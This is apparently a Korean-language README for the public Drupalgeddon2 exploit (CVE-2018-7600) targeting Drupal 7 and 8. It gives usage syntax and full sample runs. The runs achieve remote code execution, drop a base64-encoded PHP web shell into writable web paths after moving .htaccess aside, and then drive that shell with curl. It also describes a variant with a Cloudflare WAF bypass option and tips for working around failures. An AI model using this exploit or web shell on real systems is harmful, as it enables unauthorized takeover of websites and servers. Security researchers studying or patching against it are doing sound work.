
Drupal v7.x + v8.x용 익스플로잇 (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)
Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)
지원 대상:
user/register URL을 사용하여 account/mail 및 #post_render 파라미터를 공격하며, PHP의 passthru 함수를 사용user/password URL을 사용하여 triggering_element_name 폼 및 #post_render 파라미터를 공격하며, PHP의 passthru 함수를 사용./) 또는 하위 디렉터리(./sites/default/ 및 ./sites/default/files/)에 PHP 셸 작성Drupal v8.x의 경우 user/register 방식을 선택했는데, 이는 HTTP 200을 반환하고 data JSON 응답에 출력을 렌더링하기 때문입니다 (timezone/#lazy_builder 방식의 코드를 주석 해제하면 HTTP 500을 반환하고 블라인드(blind) 상태가 됩니다!) (자세한 정보)
작성자:
참고 사항:
drupalgeddon2-customizable-beta.rb 섹션을 참조하세요.$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
ruby drupalgeddon2.rb https://example.com
$
--verbose 및 --authentication 파라미터는 뒤에 순서에 관계없이 추가할 수 있으며
둘 다 선택 사항입니다.
--authentication을 지정하면 다음 항목을 입력하라는 프롬프트가 표시됩니다:
user/login)이 옵션은 인증 성공 시 세션 쿠키로 응답하는 POST 기반 웹 로그인을 먼저 요구하는 웹사이트를 익스플로잇할 수 있도록 지원하기 위한 것입니다.
Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1
$ ./drupalgeddon2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt (HTTP Response: 404)
[+] Found : http://localhost/drupal-8/core/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TTTBJJBP
[+] Result : TTTBJJBP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell: curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>
Drupal < v7.58
$ ./drupalgeddon2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found : http://localhost/drupal-7/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.31
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TKYPVVJJ
[+] Result : TKYPVVJJ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell: curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uptime
14:52:33 up 4 days, 3:35, 1 user, load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>
PHP 웹 셸을 웹 서버에 작성하려는 시도조차 하지 않으려면 파일을 아래와 같이 편집하세요 (어차피 쓰기 가능한 위치를 찾지 못하면 폴백(fallback)됩니다):
try_phpshelltryphpshell = false
예제
$ ./drupalgeddon2.rb http://localhost/drupal-nonwrite/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-nonwrite/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-nonwrite/CHANGELOG.txt (HTTP Response: 404)
[+] Found : http://localhost/drupal-nonwrite/core/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo HYCBAIET
[+] Result : HYCBAIET
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)... Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)... Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/files/)
[*] Moving : ./sites/default/files/.htaccess
[i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [1] (HTTP Response: 403)... May not be able to execute PHP from here?
[!] FAILED: Couldn't find writeable web path
--------------------------------------------------------------------------------
[*] Dropping back to direct commands
drupalgeddon2>> lsb_release -a
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
drupalgeddon2>>
프록시 지원을 위해 (예: Burp) 파일을 편집하여 자신의 값으로 대체하세요. 예:
proxy_addr = "192.168.0.130"
proxy_port = 8080
drupalgeddon2-customizable-beta.rb는 더 많은 커스터마이징이 가능하므로 고급 사용자를 대상으로 합니다. 사용할 PHP 메서드(system() 또는 passthru()만이 아니라)와 user/password 폼에 도달하는 방식을 추가로 지정할 수 있습니다.
사용 예시:
Usage example: ./drupalgeddon-customizable-beta.rb -u http://example.com/ -v 7 -c id
More info: -h
-u, --url URL [Required] Service URL
-v, --version VERSION [Required] Target Drupal version {7,8}
-c, --command COMMAND [Required] Command to execute
-m, --method PHP_METHOD [Optional] PHP Method to use, by default: passthru
--form [Optional] Form to attack, by default '/user/password' in Drupal 7 and '/user/register' in Drupal 8
--cloudflare [Optional] Tries to bypass Cloudflare using Lua-Nginx +100 parameters WAF Bypass
-h, --help Prints this help
cannot load such file "LoadError" 유형의 오류가 발생할 때마다 sudo gem install <missing dependency>를 실행하세요.
특히, sudo gem install highline 명령으로 highline 의존성을 설치해야 할 수 있습니다.
대상이 Drupal이 존재하는 다른 경로로 리디렉션할 수 있습니다(예: HTTP 30x 응답)
페이로드/명령에 사용할 수 있는 허용 문자에는 제한이 있습니다
대상이 Linux이고 "GNU base64"를 사용하지 않는 경우 BSD 버전일 수 있습니다 (또는 아예 설치되어 있지 않을 수 있습니다!)
base64 -d 대신 base64 -D로 전환하거나 파일리스 방식을 사용하세요대상이 Windows를 사용하는 경우 PHP 셸 작성이 항상 실패합니다
certutil 또는 PowerShell을 사용하는 대신 유닉스 프로그램으로 파이프하기 때문입니다Drupal v8.x - ./.htaccess는 쓰기 가능한 폴더가 ./sites/default/인 경우 해당 폴더에서 PHP 스크립트가 실행되지 않도록 차단합니다
Drupal v8.x - 대상에서 "clean URL"이 활성화되어 있지 않습니다
Drupal v7.x - /user/password 폼이 비활성화된 경우 다른 폼을 찾아야 합니다 (익스플로잇을 변경해야 한다는 점을 기억하세요!)
form_id 파라미터는 취약점을 익스플로잇하는 데 사용되는 폼에 따라 달라집니다